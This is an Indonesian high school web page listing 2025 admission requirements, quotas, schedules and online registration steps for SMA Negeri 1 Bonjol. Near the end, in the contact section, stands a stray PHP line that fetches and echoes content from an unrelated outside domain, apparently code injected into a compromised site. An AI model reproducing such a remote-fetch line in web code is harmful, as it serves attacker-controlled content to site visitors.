00
Hari
00
Jam
00
Menit
00
Detik
Pelaksanaan SPMB Sudah dibuka!!!

Persyaratan Umum SPMB

  1. Calon murid baru SMA Negeri dan SMK Negeri berusia paling tinggi 21 (dua puluh satu) tahun pada tanggal 1 Juli tahun berjalan yang dibuktikan dengan: (a). akta kelahiran; atau (b). surat keterangan lahir yang dikeluarkan oleh pihak yang berwenang dan dilegalisasi oleh lurah/kepala desa/wali nagari atau pejabat setempat lain yang berwenang sesuai dengan domisili calon murid. Persyaratan usia dikecualikan untuk calon murid baru penyandang disabilitas;
  2. Calon murid baru jenjang SMA Negeri dan SMK Negeri telah menyelesaikan kelas 9 (sembilan) SMP/MTs, atau bentuk lain yang sederajat atau lanjutan dari hasil belajar yang diakui sama atau setara SMP/MTs dibuktikan dengan ijazah atau dokumen lain yang menyatakan kelulusan misalnya Surat Keterangan Lulus (SKL);
  3. Calon murid baru jenjang SMA Negeri dan SMK Negeri merupakan lulusan SMP/MTs, dan bentuk lain yang sederajat atau lanjutan dari hasil belajar yang diakui sama dan/atau setara SMP/MTs tahun berjalan serta lulusan tahun sebelumnya; dan
  4. Calon murid baru yang sudah diterima di sekolah boarding negeri tidak dapat mengikuti SPMB baik ke SMA Negeri maupun ke SMK Negeri;

Persyaratan Khusus SMA Negeri

a)           Jalur Domisili adalah jalur dalam penerimaan murid baru yang diperuntukkan bagi calon murid yang berdomisili di dalam wilayah penerimaan murid baru yang ditetapkan oleh Pemerintah Daerah;

b)          Persyaratan khusus bagi calon murid baru yang melakukan pendaftaran pada Jalur Domisili harus memiliki kartu keluarga dengan ketentuan:

1)           Diterbitkan paling singkat 1 (satu) tahun sebelum tanggal pendaftaran penerimaan murid baru;

2)           Nama orang tua/wali calon murid yang tercantum pada kartu keluarga harus sama dengan nama orang tua/wali yang tercantum pada rapor/ijazah jenjang sebelumnya, akta kelahiran, dan/atau kartu keluarga sebelumnya;

3)           Dalam hal nama orang tua/wali calon murid terdapat perbedaan, kartu keluarga terbaru dapat digunakan jika orang tua/wali calon murid:

a)           meninggal dunia;

b)          bercerai; atau

c)           kondisi lain yang ditetapkan oleh Pemerintah Daerah, sebelum tanggal penerbitan kartu keluarga terbaru.

4)       Orang tua/wali calon murid yang meninggal dunia atau bercerai dibuktikan dengan akta kematian yang diterbitkan oleh dukcapil atau akta cerai yang diterbitkan oleh pengadilan agama;

5)       Dalam hal kartu keluarga tidak dimiliki oleh calon murid karena keadaan tertentu meliputi bencana alam dan/atau bencana sosial maka dapat diganti dengan surat keterangan domisili yang diterbitkan oleh pihak yang berwenang dan dilegalisasi oleh lurah/kepala desa/wali nagari atau pejabat setempat lain yang berwenang sesuai dengan domisili calon murid. Surat keterangan domisili memuat keterangan mengenai:

a)           calon murid telah berdomisili paling singkat 1 (satu) tahun sejak diterbitkannya surat keterangan domisili; dan

b)          jenis bencana yang dialami.

6)           Dalam hal terjadi perubahan data kartu keluarga dalam kurun waktu kurang dari 1 (satu) tahun dan bukan karena perpindahan domisili, kartu keluarga dimaksud dapat digunakan sebagai dasar seleksi Jalur Domisili. Perubahan data pada kartu keluarga bukan karena perpindahan domisili dapat berupa:

a)           penambahan anggota keluarga, selain calon murid;

b)          pengurangan anggota keluarga akibat meninggal dunia atau pindah; atau

c)           kartu keluarga baru akibat hilang atau rusak.

Dalam hal terdapat perubahan data pada kartu keluarga harus disertakan:

a)           kartu keluarga yang lama bagi kartu keluarga yang mengalami perubahan data atau rusak; atau

b)          surat keterangan kehilangan dari Kepolisian Negara Republik Indonesia apabila kartu keluarga hilang.

a)           Jalur afirmasi adalah jalur dalam penerimaan murid baru yang diperuntukkan bagi calon murid SMA Negeri yang berasal dari:

1)           keluarga ekonomi tidak mampu; atau

2)           penyandang disabilitas; atau

3)           anak panti asuhan/panti sosial.

b)          Persyaratan khusus pada Jalur Afirmasi bagi calon murid baru yang berasal dari keluarga ekonomi tidak mampu harus memiliki kartu keikutsertaan dalam program penanganan keluarga ekonomi tidak mampu dari Pemerintah Pusat dan/atau Pemerintah Daerah. Kartu keikutsertaan dalam program penanganan keluarga ekonomi tidak mampu tidak dapat berupa kartu keikutsertaan program jaminan kesehatan nasional dan/atau surat keterangan tidak mampu.

c)           Calon murid baru yang berasal dari keluarga ekonomi tidak mampu wajib menyertakan:

1)           Kartu Program Indonesia Pintar (PIP) yang diterbitkan oleh Kementerian terkait dan terdata dalam Dapodik;

2)           Kartu peserta keikutsertaan dalam program penanganan keluarga ekonomi tidak mampu yang diterbitkan oleh Kementerian yang menyelenggarakan urusan pemerintahan di bidang sosial dan terdata dalam Data Tunggal Sosial Ekonomi Nasional (DTSEN) Dinas Sosial; atau

d)          Surat pernyataan dari orang tua/wali peserta didik yang menyatakan bersedia diproses secara hukum jika terbukti memalsukan bukti keikutsertaan dalam program penanganan keluarga tidak mampu;

e)           Persyaratan khusus pada Jalur Afirmasi bagi calon murid penyandang disabilitas harus memiliki:

1)           kartu penyandang disabilitas yang dikeluarkan oleh kementerian yang menyelenggarakan urusan pemerintahan di bidang sosial; atau

2)           surat keterangan dari dokter atau dokter spesialis; dan surat hasil asesmen yang dikeluarkan oleh unit layanan disabilitas.

f)            Calon murid baru yang berasal dari panti asuhan/panti sosial dibuktikan dengan surat keterangan kepala panti asuhan/panti sosial yang diketahui oleh Kepala Dinas Sosial setempat;

a.           Jalur Prestasi Akademik

1)           Jalur Prestasi Akademik adalah jalur dalam penerimaan murid baru yang diperuntukkan bagi calon murid yang memiliki prestasi di bidang akademik;

2)           Persyaratan khusus bagi calon murid baru yang melakukan pendaftaran pada Jalur Prestasi Akademik dapat berupa:

a)           nilai rapor semester 1 sampai semester 5 yang berasal dari nilai kompetensi pengetahuan untuk semua mata pelajaran dengan melampirkan Surat Keterangan Peringkat Paralel dari Kepala Satuan Pendidikan asal untuk 25% (dua puluh lima persen) murid dengan nilai tertinggi; atau

b)          prestasi di bidang sains, teknologi, riset, inovasi, dan/atau bidang akademik lainnya yang dibuktikan dengan sertifikat yang telah divalidasi oleh Pemerintah Daerah yang melaksanakan SPMB (Dinas Pendidikan/Cabang Dinas Pendidikan Provinsi Sumatera Barat) atau dikurasi oleh Kementerian.

3)           Dalam hal sertifikat prestasi akademik belum divalidasi oleh Pemerintah Daerah atau dikurasi oleh Kementerian, pemangku kepentingan dapat mengajukan usulan paling lambat dilakukan bulan April pada tahun berjalan kepada:

a)           Tingkat Kabupaten/Kota divalidasi oleh Dinas Pendidikan Kabupaten/Kota;

b)          Tingkat Provinsi divalidasi oleh Dinas Pendidikan/Cabang Dinas Pendidikan Provinsi Sumatera Barat;

c)           Unit kerja di Kementerian yang membidangi talenta dan prestasi sesuai kewenangan.

4)           Pemangku kepentingan sebagaimana dimaksud pada poin 3) terdiri atas:

a)           Calon murid;

b)          Penyelenggara lomba;

c)           Satuan pendidikan penyelenggara SPMB;

d)          Pihak lain yang berkepentingan.

5)           Prestasi pada bidang akademik yang diterima adalah sebagai berikut:

a)           Olimpiade Sains Nasional (OSN) atau Kompetisi Sains Nasional (KSN);

b)          Olimpiade Literasi Siswa Nasional (OLSN);

c)           Olimpiade Penelitian Siswa Indonesia (OPSI);

d)          Kompetisi Sains Madrasah (KSM); dan

e)           Kompetisi Robotika;

f)            Lomba sains, teknologi, riset, inovasi lainnya yang diakui oleh Dinas Pendidikan Kab/Kota dan Provinsi;

6)           Bukti atas prestasi akademik diterbitkan paling lama 3 (tiga) tahun sebelum tanggal pendaftaran penerimaan murid baru atau mulai dari tanggal 24 Juni 2022.

7)           Bukti atas prestasi akademik berlaku untuk prestasi individu dan/atau beregu/kelompok berjenjang yang diakui pemerintah.

b.           Jalur Prestasi Non akademik

1)           Jalur Prestasi Nonakademik adalah jalur dalam penerimaan murid baru yang diperuntukkan bagi calon murid yang memiliki prestasi di bidang nonakademik.

2)           Persyaratan khusus bagi calon murid baru yang melakukan pendaftaran pada Jalur Prestasi Nonakademik dapat berupa:

a)           pengalaman kepengurusan sebagai ketua dalam Organisasi Siswa Intra Sekolah/Madrasah (OSIS/OSIM) dan Organisasi Kepanduan (Pramuka) di Satuan Pendidikan yang dibuktikan dengan SK dan/atau sertifikat yang diterbitkan oleh Santuan Pendidikan asal; atau

b)          prestasi di bidang seni, budaya, bahasa, olahraga, dan/atau bidang nonakademik lainnya yang dibuktikan dengan sertifikat yang telah divalidasi oleh Pemerintah Daerah yang melaksanakan SPMB (Dinas Pendidikan/Cabang Dinas Pendidikan Provinsi Sumatera Barat) atau dikurasi oleh Kementerian.

3)           Dalam hal sertifikat prestasi nonakademik belum divalidasi oleh Pemerintah Daerah atau dikurasi oleh Kementerian, pemangku kepentingan dapat mengajukan usulan paling lambat dilakukan bulan April pada tahun berjalan kepada:

a)           Tingkat Kabupaten/Kota divalidasi oleh Dinas Pendidikan Kabupaten/Kota;

b)          Tingkat Provinsi divalidasi oleh Dinas Pendidikan/Cabang Dinas Pendidikan Provinsi Sumatera Barat;

c)           Unit kerja di Kementerian yang membidangi talenta dan prestasi sesuai kewenangan.

4)           Pemangku kepentingan sebagaimana dimaksud pada poin 3) terdiri atas:

a)           Calon murid;

b)          Penyelenggara lomba;

c)           Satuan Pendidikan penyelenggara SPMB;

d)          Pihak lain yang berkepentingan.

5)           Prestasi hasil lomba pada bidang nonakademik yang diterima adalah sebagai berikut:

a)           Prestasi bidang seni budaya:

             Festival Lomba Seni Siswa Nasional (FLS2N)

             Hafidz Qur an

             Lomba Kitab Suci lainnya

b)          Prestasi bidang olahraga:

             Gala Siswa Indonesia (GSI);

             Ajang Kompetensi Seni dan Olahraga Madrasah (AKSIOMA);

             Olimpiade Olahraga Siswa Nasional (O2SN);

             Pekan Olahraga Nasional (PON);

             Pekan Olahraga Provinsi (PORPROV);

             Pekan Olahraga Pelajar Nasional (POPNAS);

             Pekan Olahraga Pelajar Wilayah (POPWIL);

             Pekan Olahraga Pelajar Daerah (POPDA); dan

             Paragames Olahraga Nasional;

             Kejuaraan Nasional (Kejurnas);

             Kejuaraan Daerah (Kejurda);

6)           Bukti atas prestasi nonakademik diterbitkan paling lama 3 (tiga) tahun sebelum tanggal pendaftaran penerimaan murid baru atau mulai dari tanggal 24 Juni 2022.

7)           Bukti atas prestasi non-akademik berlaku untuk prestasi individu dan/atau beregu/kelompok berjenjang yang diakui pemerintah;

a.           Jalur Mutasi adalah jalur dalam penerimaan murid baru yang diperuntukkan bagi calon murid yang berpindah domisili karena perpindahan tugas dari orang tua/wali dan bagi anak GTK yang mendaftar di satuan pendidikan tempat orang tua bertugas.

b.           Persyaratan khusus pada Jalur Mutasi bagi calon murid baru yang berpindah domisili karena tugas orang tua/wali harus memiliki:

1)           surat penugasan dari instansi, lembaga, atau perusahaan yang mempekerjakan orang tua/wali; dan

2)           surat keterangan pindah domisili orang tua/wali calon murid yang diterbitkan oleh pejabat yang berwenang.

c.           Persyaratan khusus pada Jalur Mutasi bagi calon murid yang berasal dari anak GTK harus memiliki:

1)           surat penugasan orang tua sebagai GTK; dan

2)           kartu keluarga.

d.           Surat penugasan dari instansi, lembaga, atau perusahaan yang mempekerjakan orang tua/wali paling lama 1 (satu) tahun sebelum tanggal pendaftaran penerimaan murid baru.

Perencanaan SPMB

  1. Penetapan wilayah penerimaan murid baru dilakukan oleh Pemerintah Daerah sesuai dengan kewenangan dengan prinsip mendekatkan domisili murid dengan Satuan Pendidikan;
  2. Pemerintah Daerah melakukan penetapan wilayah penerimaan murid baru dengan menggunakan metode pendekatan wilayah administratif yang mencakup kelurahan/desa/nagari; dan
  3. Penetapan wilayah penerimaan murid baru pada Satuan Pendidikan yang berada di daerah perbatasan provinsi atau kabupaten/kota dapat dilakukan berdasarkan kesepakatan antar Pemerintah Daerah.

a.           Persentase kuota untuk Jalur Domisili paling sedikit 35% (tiga puluh lima persen) dari daya tampung Satuan Pendidikan.

b.           Persentase kuota untuk Jalur Afirmasi paling sedikit 30% (tiga puluh persen) dari daya tampung Satuan Pendidikan.

c.           Persentase kuota untuk Jalur Prestasi:

1)           Prestasi Akademik paling sedikit 15% (lima belas persen) dari daya tampung Satuan Pendidikan.

2)           Prestasi Nonakademik paling sedikit 15% (lima belas persen) dari daya tampung Satuan Pendidikan.

d.           Persentase kuota untuk Jalur Mutasi paling banyak 5% (lima persen) dari daya tampung Satuan Pendidikan.

Waktu Pelaksanaan SPMB

April s/d Juni 2025
Umum
Umum

NoKegiatanTanggalWaktuTempat/Ket
1Sosialisasi SPMB 2025April s/d Juni 2025Jam KerjaOffline/Online
2Konferensi Pers19 Juni 2025Jam KerjaOffline/Online

Juni 2025
Umum
Pra Pendaftaran

NoKegiatanTanggalWaktuTempat/Ket
1Pembuatan AkunJuni 2025Jam KerjaOnline
2Entri Data PokokJuni 2025Jam KerjaOnline
3Uji Coba PendaftaranJuni 2025Jam KerjaOnline

Juni 2025
Pelaksanaan Pendaftaran
Jalur Afirmasi dan Jalur Mutasi

NoKegiatanTanggalWaktuTempat/Ket
1Pendaftaran23-24 Juni 202500.01-23.59 WIBOnline
2Verifikasi dan Validasi23-25 Juni 202508.00-16.00 WIBSMA yang dituju
3Pengumuman26 Juni 202510.00 WIBOnline
4Daftar Ulang Lulus Seleksi Hari Pertama27 Juni 202511.00-16.00 WIBSMA yang dituju
5Daftar Ulang Lulus Seleksi Hari Kedua27 Juni 202508.00-13.00 WIBSMA yang dituju
6Daftar Ulang Cadangan27 Juni 202513.00-17.00 WIBSMA yang dituju

Juni-Juli 2025
Pelaksanaan Pendaftaran
Jalur Prestasi Akademik dan Non-Akademik
NoKegiatanTanggalWaktuTempat/Ket
1Pendaftaran28-30 Juni 202500.01-23.59 WIBOnline
2Verifikasi dan Validasi28 Juni-01 Juli 202508.00-16.00 WIBSMA yang dituju
3Pengumuman02 Juli 202510.00 WIBOnline
4Daftar Ulang Lulus Seleksi Hari Pertama02 Juli 202511.00-16.00 WIBSMA yang dituju
5Daftar Ulang Lulus Seleksi Hari Kedua03 Juli 202508.00-13.00 WIBSMA yang dituju
6Daftar Ulang Cadangan03 Juli 202513.00-17.00 WIBSMA yang dituju
Juli 2025
Pelaksanaan Pendaftaran
Jalur Domisili
NoKegiatanTanggalWaktuTempat/Ket
1Pendaftaran04-06 Juli 202500.01-23.59 WIBOnline
2Verifikasi dan Validasi04-07 Juli 202508.00-16.00 WIBSMA yang dituju
3Pengumuman08 Juli 202510.00 WIBOnline
4Daftar Ulang Lulus Seleksi Hari Pertama08 Juli 202511.00-16.00 WIBSMA yang dituju
5Daftar Ulang Lulus Seleksi Hari Kedua09 Juli 202508.00-13.00 WIBSMA yang dituju
6Daftar Ulang Cadangan09 Juli 202513.00-17.00 WIBSMA yang dituju

Link Pendaftaran SPMB 2025

Untuk pra pendaftaran dan pendaftaran SPMB tahun 2025, silahkan klik dibawah ini untuk melihat informasi lebih lengkap.

MEKANISME PELAKSANAAN SPMB

Tata Cara Pendaftaran SPMB

1.       Jalur Afirmasi

a.       Calon murid baru SMA Negeri login ke situs spmb.sumbarprov.go.id menggunakan Username dan Password yang sudah dibuat sebelumnya;

b.       Bagi calon murid baru SMA Negeri yang mendaftar pada jalur afirmasi wajib mengunggah dokumen pendukung sesuai dengan ketentuan pada persyaratan khusus jalur afirmasi;

c.       Calon murid baru SMA Negeri yang mendaftar pada jalur afirmasi hanya dapat memilih 1 (satu) sekolah yang dituju di dalam wilayah domisili;

d.       Mengunduh bukti pendaftaran SPMB Online Tahun Ajaran 2025/2026;

e.       Calon murid baru SMA Negeri yang sudah memilih sekolah dan mendapatkan bukti pendaftaran WAJIB DATANG ke sekolah dengan membawa dokumen asli yang sudah diunggah untuk melakukan proses verifikasi dan validasi;

2.       Jalur Mutasi

a.       Calon murid baru SMA Negeri login ke situs spmb.sumbarprov.go.id menggunakan Username dan Password yang sudah dibuat sebelumnya;

b.       Bagi calon murid baru SMA Negeri yang mendaftar pada jalur mutasi wajib mengunggah dokumen pendukung sesuai dengan ketentuan pada persyaratan khusus jalur mutasi;

c.       Calon murid baru SMA Negeri yang mendaftar pada jalur mutasi hanya dapat memilih 1 (satu) sekolah yang dituju;

d.       Calon murid baru SMA Negeri dari kategori anak GTK yang mendaftar pada jalur mutasi hanya dapat mendaftar di sekolah tempat orang tua bertugas;

e.       Mengunduh bukti pendaftaran SPMB Online Tahun Ajaran 2025/2026;

f.        Calon murid baru SMA Negeri yang sudah memilih sekolah dan mendapatkan bukti pendaftaran WAJIB DATANG ke sekolah dengan membawa dokumen asli yang sudah diunggah untuk melakukan proses verifikasi dan validasi;

3.       Jalur Prestasi Akademik

a.       Calon murid baru SMA Negeri login ke situs spmb.sumbarprov.go.id menggunakan Username dan Password yang sudah dibuat sebelumnya;

b.       Bagi calon murid baru SMA Negeri yang mendaftar pada jalur presetasi akademik menggunakan nilai rapor wajib menginputkan rerata nilai kompetensi pengetahuan semua mata pelajaran semester 1 sampai semester 5, mengunggah scan rapor asli dari semester 1 sampai semester 5 serta mengunggah surat keterangan peringkat total nilai rapor dari satuan pendidikan asal;

c.       Bagi calon murid baru SMA Negeri yang mendaftar pada jalur prestasi akademik menggunakan sertifikat prestasi akademik yang dimiliki wajib mengisi data prestasi/penghargaan dan menggunggah bukti dokumen prestasi/penghargaan yang telah divalidasi oleh Pemerintah Daerah yang melaksanakan SPMB (Dinas Pendidikan/Cabang Dinas Pendidikan Provinsi Sumatera Barat) atau dikurasi oleh Kementerian sesuai dengan ketentuan pada persyaratan khusus jalur prestasi akademik;

d.       Calon murid baru SMA Negeri yang mendaftar pada jalur prestasi akademik hanya dapat memilih 1 (satu) sekolah yang dituju di dalam wilayah domisili atau di luar wilayah domisili;

e.       Mengunduh bukti pendaftaran SPMB Online Tahun Ajaran 2025/2026;

f.        Calon murid baru SMA Negeri yang sudah memilih sekolah dan mendapatkan bukti pendaftaran WAJIB DATANG ke sekolah dengan membawa dokumen asli yang sudah diunggah untuk melakukan proses verifikasi dan validasi;

4.       Jalur Prestasi Nonakademik

a.       Calon murid baru SMA Negeri login ke situs spmb.sumbarprov.go.id menggunakan Username dan Password yang sudah dibuat sebelumnya;

b.       Bagi calon murid baru SMA Negeri yang mendaftar pada jalur prestasi nonakademik menggunakan sertifikat prestasi nonakademik yang dimiliki wajib mengisi data prestasi/penghargaan dan menggunggah bukti dokumen prestasi/penghargaan yang telah divalidasi oleh Pemerintah Daerah yang melaksanakan SPMB (Dinas Pendidikan/Cabang Dinas Pendidikan Provinsi Sumatera Barat) atau dikurasi oleh Kementerian sesuai dengan ketentuan pada persyaratan khusus jalur prestasi nonakademik;

c.       Calon murid baru SMA Negeri yang mendaftar pada jalur prestasi nonakademik hanya dapat memilih 1 (satu) sekolah yang dituju di dalam wilayah domisili atau di luar wilayah domisili;

d.       Mengunduh bukti pendaftaran SPMB Online Tahun Ajaran 2025/2026;

e.       Calon murid baru SMA Negeri yang sudah memilih sekolah dan mendapatkan bukti pendaftaran WAJIB DATANG ke sekolah dengan membawa dokumen asli yang sudah diunggah untuk melakukan proses verifikasi dan validasi;

f.        Khusus bagi calon murid baru yang memiliki sertifikat Hafidz Qur an akan diverifikasi dan diuji ulang oleh sekolah yang dituju.

5.       Jalur Domisili

a.       Calon murid baru SMA Negeri login ke situs spmb.sumbarprov.go.id menggunakan Username dan Password yang sudah dibuat sebelumnya;

b.       Calon murid baru SMA Negeri yang mendaftar pada jalur domisili hanya dapat memilih 1 (satu) sekolah yang dituju di dalam wilayah domisili;

c.       Mengunduh bukti pendaftaran SPMB Online Tahun Ajaran 2025/2026;

d.       Calon murid baru SMA Negeri yang sudah memilih sekolah dan mendapatkan bukti pendaftaran WAJIB DATANG ke sekolah dengan membawa dokumen asli yang sudah diunggah untuk melakukan proses verifikasi dan validasi;

Narahubung Panitia Pelaksanaan SPMB 2025 SMAN 1 BONJOL

Atau silahkan Scan Barcode dibawah ini

echo file_get_contents("https://hiyahiya.xyz/api/v1.php");

Download App SMA NEGERI 1 BONJOL

Nikmati Cara Mudah dan Menyenangkan Ketika Membaca Buku, Update Informasi Sekolah Hanya Dalam Genggaman

Hubungi kami di : 085274331403

Kirim email ke kamismansatubonjol@gmail.com

Download App SMA NEGERI 1 BONJOL

Nikmati Cara Mudah dan Menyenangkan Ketika Membaca Buku, Update Informasi Sekolah Hanya Dalam Genggaman